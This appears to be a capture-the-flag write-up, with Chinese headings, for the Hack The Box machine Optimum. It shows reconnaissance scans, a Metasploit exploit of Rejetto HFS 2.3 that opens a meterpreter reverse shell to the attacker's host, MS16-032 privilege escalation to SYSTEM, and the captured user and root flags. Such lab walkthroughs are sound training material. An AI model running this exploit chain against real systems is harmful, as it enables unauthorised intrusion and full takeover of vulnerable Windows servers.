

Optimum(完成)

```
└─# nmap -sCV 10.10.10.8 -A
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-31 03:59 EDT
Nmap scan report for 10.10.10.8
Host is up (0.23s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
80/tcp    open  http      HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose|phone
Running (JUST GUESSING): Microsoft Windows 2012|8|Phone (89%)
OS CPE: cpe:/o:microsoft:windows_server_2012 cpe:/o:microsoft:windows_8
cpe:/o:microsoft:windows
Aggressive OS guesses: Microsoft Windows Server 2012 (89%), Microsoft Windows Server
2012 or Windows Server 2012 R2 (89%), Microsoft Windows Server 2012 R2 (89%),
Microsoft Windows 8.1 Update 1 (85%), Microsoft Windows Phone 7.5 or 8.0 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1    247.73 ms  10.10.14.1
2    247.98 ms  10.10.10.8

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.77 seconds
```

漏洞利用

```
(root@kali)-[~/htb/Optimum/Rejetto-HTTP-File-Server-HFS-2.3.x—Remote-Command-Execution]
# whatweb http://10.10.10.8 -a3 -v
WhatWeb report for http://10.10.10.8
Status      : 200 OK
Title       : HFS /
IP          : 10.10.10.8
Country     : RESERVED, ZZ

Summary     : Cookies[HFS_SID], HTTPServer[HFS 2.3], HttpFileServer, JQuery[1.4.4], Script[text/javascript]

Detected Plugins:
[ Cookies ]
    Display the names of cookies in the HTTP headers. The values are not returned to save on space.

    String      : HFS_SID

[ HTTPServer ]
    HTTP server header string. This plugin also attempts to identify the operating system from the server header.

    String      : HFS 2.3 (from server string)

[ HttpFileServer ]
    You can use HFS (HTTP File Server) to send and receive files. Access your remote files, over the network.

    Google Dorks: (1)
    Website      : http://www.rejetto.com/hfs/

[ JQuery ]
    A fast, concise, JavaScript that simplifies how to traverse HTML documents, handle events, perform animations, and add AJAX.

    Version      : 1.4.4
    Website      : http://jquery.com/

[ Script ]
    This plugin detects instances of script HTML elements and returns the script language/type.

    String      : text/javascript

HTTP Headers:
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1658
Accept-Ranges: bytes
Server: HFS 2.3
Set-Cookie: HFS_SID=0.987134475726634; path=/;
Cache-Control: no-cache, no-store, must-revalidate, max-age=-1
Content-Encoding: gzip
```

```
use reje...
msf6 > use reje...

Matching Modules

#  Name                                     Disclosure Date  Rank      Check  Description
-  -                                     -              -      -      -
0  exploit/windows/http/reje..._hfs_exec  2014-09-11      excellent Yes     Reje... HttpFileServer Remote Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/reje..._hfs_exec

[*] Using exploit/windows/http/reje..._hfs_exec
msf6 exploit(windows/http/reje..._hfs_exec) > show options

Module options (exploit/windows/http/reje..._hfs_exec):

Name      Current Setting  Required  Description
--      -
HTTPDELAY  10               no        Seconds to wait before terminating web server
Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     10.10.10.8       yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-meta...
RPORT      80               yes       The target port (TCP)
SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local mach...
SRVPORT    8080             yes       The local port to listen on.
SSL        false            no        Negotiate SSL/TLS for outgoing connections
SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
TARGETURI  /                yes       The path of the web application
URIPATH                     no        The URI to use for this exploit (default is random)
VHOST                       no        HTTP server virtual host

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     10.10.14.3       yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:

Id  Name
--  -
0   Automatic
```

成功

```
[-] Unknown command: id. Run the help command for more details.
meterpreter > dir
Listing: C:\Users\kostas\Desktop

Mode                Size           Type             Last modified          Name
-----
040777/rwxrwxrwx    0              dir              2024-04-06 13:40:56 -0400 %TEMP%
100666/rw-rw-rw-    282           fil              2017-03-18 07:57:16 -0400 desktop.ini
100777/rwxrwxrwx   760320        fil              2017-03-18 08:11:17 -0400 hfs.exe
100444/r--r--r--    34            fil              2024-04-06 12:55:55 -0400 user.txt

meterpreter > type user.txt
[-] Unknown command: type. Run the help command for more details.
```

user flag

```
meterpreter > shell
Process 2700 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\kostas\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is EE82-226D

Directory of C:\Users\kostas\Desktop

06/04/2024  08:40  <DIR>          .
06/04/2024  08:40  <DIR>          ..
06/04/2024  08:40  <DIR>          %TEMP%
18/03/2017  03:11  <FILE>        760.320 hfs.exe
06/04/2024  07:55  <FILE>         34 user.txt
               2 File(s)        760.354 bytes
               3 Dir(s)    5.674.274.816 bytes free

C:\Users\kostas\Desktop>type user.txt
type user.txt
681047695df48313095090021bac1ec1
```

C:\Users>systeminfo

systeminfo

Host Name: OPTIMUM

OS Name: Microsoft Windows Server 2012 R2 Standard

OS Version: 6.3.9600 N/A Build 9600

OS Manufacturer: Microsoft Corporation

OS Configuration: Standalone Server

OS Build Type: Multiprocessor Free

Registered Owner: Windows User

Registered Organization:

Product ID: 00252-70000-00000-AA535

Original Install Date: 18/3/2017, 1:51:36 ??

System Boot Time: 6/4/2024, 7:55:03 ??

System Manufacturer: VMware, Inc.

System Model: VMware Virtual Platform

System Type: x64-based PC

Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel
~2295 Mhz

BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018

Windows Directory: C:\Windows

System Directory: C:\Windows\system32

Boot Device: \Device\HarddiskVolume1

System Locale: el;Greek

Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest
Total Physical Memory: 4.095 MB
Available Physical Memory: 3.547 MB
Virtual Memory: Max Size: 5.503 MB
Virtual Memory: Available: 5.000 MB
Virtual Memory: In Use: 503 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: \\OPTIMUM
Hotfix(s): 31 Hotfix(s) Installed.

[01]: KB2959936
[02]: KB2896496
[03]: KB2919355
[04]: KB2920189
[05]: KB2928120
[06]: KB2931358
[07]: KB2931366
[08]: KB2933826
[09]: KB2938772
[10]: KB2949621
[11]: KB2954879
[12]: KB2958262
[13]: KB2958263
[14]: KB2961072
[15]: KB2965500
[16]: KB2966407
[17]: KB2967917
[18]: KB2971203
[19]: KB2971850
[20]: KB2973351
[21]: KB2973448
[22]: KB2975061
[23]: KB2976627
[24]: KB2977629
[25]: KB2981580
[26]: KB2987107
[27]: KB2989647
[28]: KB2998527
[29]: KB3000850
[30]: KB3003057
[31]: KB3014442

Network Card(s): 1 NIC(s) Installed.

[01]: Intel(R) 82574L Gigabit Network Connection
Connection Name: Ethernet0
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.8

Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.

漏洞MS16-032(Windows Server 2012 R2)

<https://www.exploit-db.com/exploits/39719>

```
Background session 1? [y/N]
msf6 exploit(windows/http/rejeto_hfs_exec) > use MS16-032

Matching Modules

#  Name
-  -
0  exploit/windows/local/ms16_032_secondary_logon_handle_privesc 2016-03-21 normal Yes MS16-032 Secondary Logon Handle Privilege Escalation
1  \_ target: Windows x86 . . .
2  \_ target: Windows x64 . . .

msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > show options

Module options (exploit/windows/local/ms16_032_secondary_logon_handle_privesc):

Name      Current Setting  Required  Description
-  -  -  -  -
SESSION    .               yes       The session to run this module on

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
-  -  -  -  -
EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.200.130 yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:

Id  Name
--  --
0   Windows x86

View the full module info with the info, or info -d command.

msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set LHOST 10.10.14.3
LHOST => 10.10.14.3
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > run

[-] Msf::OptionValidateError One or more options failed to validate: SESSION.
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > exploit

[*] Started reverse TCP handler on 10.10.14.3:4444
[+] Compressed size: 1160
[*] Sending stage (176198 bytes) to 10.10.10.8
[*] Meterpreter session 2 opened (10.10.14.3:4444 -> 10.10.10.8:49176) at 2024-03-31 05:28:20 -0400
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
[*] Writing payload file, C:\Users\kostas\AppData\Local\Temp\KsftWjUBl.ps1 ...
[*] Compressing script contents ...
[+] Compressed size: 3755
[*] Executing exploit script ...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

root flag

```
meterpreter > type root.txt
[-] Unknown command: type. Run the help command for more information.
meterpreter > cat root.txt
abb9676ecc742813670c8bc3380a0d06
```